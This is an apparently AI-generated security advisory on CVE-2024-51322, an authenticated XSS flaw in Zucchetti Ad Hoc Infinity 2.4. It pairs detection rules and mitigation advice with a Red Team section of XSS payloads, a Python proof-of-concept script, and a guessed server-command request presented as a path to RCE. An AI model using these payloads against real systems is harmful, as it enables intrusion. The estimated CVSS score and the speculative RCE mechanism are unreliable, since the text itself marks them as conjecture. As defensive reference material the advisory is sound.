CVE-2024-51322

Executive Summary

CVE-2024-51322 is a critical Cross-Site Scripting (XSS) vulnerability identified in Zucchetti Ad Hoc Infinity version 2.4. An authenticated attacker can exploit this flaw to inject malicious scripts into multiple components, including /jsp/home.jsp, /jsp/gsfr_feditorHTML.jsp, /servlet/SPVisualZoom, and /jsp/gsmd_container.jsp. The vulnerability allows the attacker to achieve Remote Code Execution (RCE) by leveraging the XSS to execute arbitrary commands on the server. The vendor has not yet released a patch, leaving systems exposed to potential compromise. This report provides a comprehensive analysis, detection methods, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based web application vulnerability in Zucchetti Ad Hoc Infinity.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (authenticated XSS leading to RCE), the estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Changed (C) – XSS can impact other components
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.0 (Critical)

Threat Level: Critical. The ability to chain XSS to RCE allows full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the Zucchetti Ad Hoc Infinity 2.4 web application. The application fails to properly sanitize user-supplied input in several JSP pages and servlets. An authenticated attacker can inject malicious JavaScript code into parameters or fields that are later rendered without encoding. This XSS can be used to steal session cookies, perform actions on behalf of the victim, or, more critically, execute arbitrary commands on the server if the application has a feature that interprets user input as code (e.g., a report generation engine that executes scripts).

The specific components affected are:

• /jsp/home.jsp
• /jsp/gsfr_feditorHTML.jsp
• /servlet/SPVisualZoom
• /jsp/gsmd_container.jsp

The attack flow:

1. Attacker authenticates to the application.
2. Attacker crafts a malicious payload (e.g., <script>...</script>) and submits it via a vulnerable parameter.
3. The payload is stored or reflected and executed in the browser of another authenticated user (or the attacker themselves if reflected).
4. The XSS payload can then make requests to internal APIs or exploit server-side features to achieve RCE.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks output encoding or input validation. A patched version would implement proper HTML entity encoding (e.g., using OWASP ESAPI or similar) for all user-controlled data rendered in JSP pages.

Vulnerable Code Example (Conceptual):

<%= request.getParameter("userInput") %>

Patched Code Example (Conceptual):

<%= Encode.forHtml(request.getParameter("userInput")) %>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Zucchetti Ad Hoc Infinity 2.4 instance with valid credentials.
• A web browser with developer tools.

Exploitation Steps:

1. Log in to the application.
2. Navigate to a vulnerable page, e.g., /jsp/home.jsp.
3. Identify a parameter that is reflected or stored without sanitization (e.g., a search field or user profile field).
4. Inject a payload such as:

   <script>alert('XSS')</script>
   

5. For RCE, use a payload that triggers server-side execution, e.g., if the application has a feature that evaluates JavaScript on the server:

   <script>
   var xhr = new XMLHttpRequest();
   xhr.open('GET', '/servlet/SPVisualZoom?cmd=exec&arg=whoami', false);
   xhr.send();
   </script>
   

   (Note: The exact RCE mechanism depends on the application's internal logic.)

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/jsp/home.jsp"
session = requests.Session()
# Authenticate first
login_data = {"username": "user", "password": "pass"}
session.post("http://target.com/login", data=login_data)

# Inject XSS payload
payload = {"param": "<script>alert('XSS')</script>"}
response = session.get(target, params=payload)
print("Payload sent. Check browser for XSS.")

Blue Team

Detection Steps:

1. Monitor web server logs for unusual parameters containing <script>, onerror, onload, or JavaScript functions.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular code reviews to identify missing output encoding.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /jsp/home.jsp, /jsp/gsfr_feditorHTML.jsp, /servlet/SPVisualZoom, /jsp/gsmd_container.jsp containing suspicious parameters.
  • Outbound connections from the server to unknown IPs (possible C2).
• File IOCs:
  • Unexpected files in web directories (e.g., /tmp/, /var/www/).
  • Modified JSP files with embedded scripts.
• Log IOCs:
  • Web server logs showing alert, eval, exec, or cmd in query strings.
  • Application logs with unusual error messages related to script execution.

Detection Engineering

YARA Rule

rule CVE_2024_51322_XSS {
    meta:
        description = "Detects XSS payloads targeting Zucchetti Ad Hoc Infinity 2.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51322"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-51322 XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in HTTP requests to Zucchetti Ad Hoc Infinity
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51322 XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51322 XSS Attempt"; flow:to_server; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51322 XSS Attempt"; flow:to_server; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51322 XSS Attempt"; flow:to_server; content:"javascript:"; http_uri; nocase; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51322 XSS Attempt"; flow:to_server; content:"alert("; http_uri; nocase; sid:1000005; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable components if possible (e.g., block access to /jsp/home.jsp, /jsp/gsfr_feditorHTML.jsp, /servlet/SPVisualZoom, /jsp/gsmd_container.jsp via WAF or reverse proxy).
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Apply input validation and output encoding to all user-controlled data. Use OWASP ESAPI or similar libraries.
4. Enforce Content Security Policy (CSP) headers to restrict script execution to trusted sources only.

Long-term Fix:

• Wait for the vendor to release a patch. Contact Zucchetti support for an update.
• If no patch is forthcoming, consider migrating to a different reporting solution or hardening the application with custom code fixes.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact support@valters-it.com.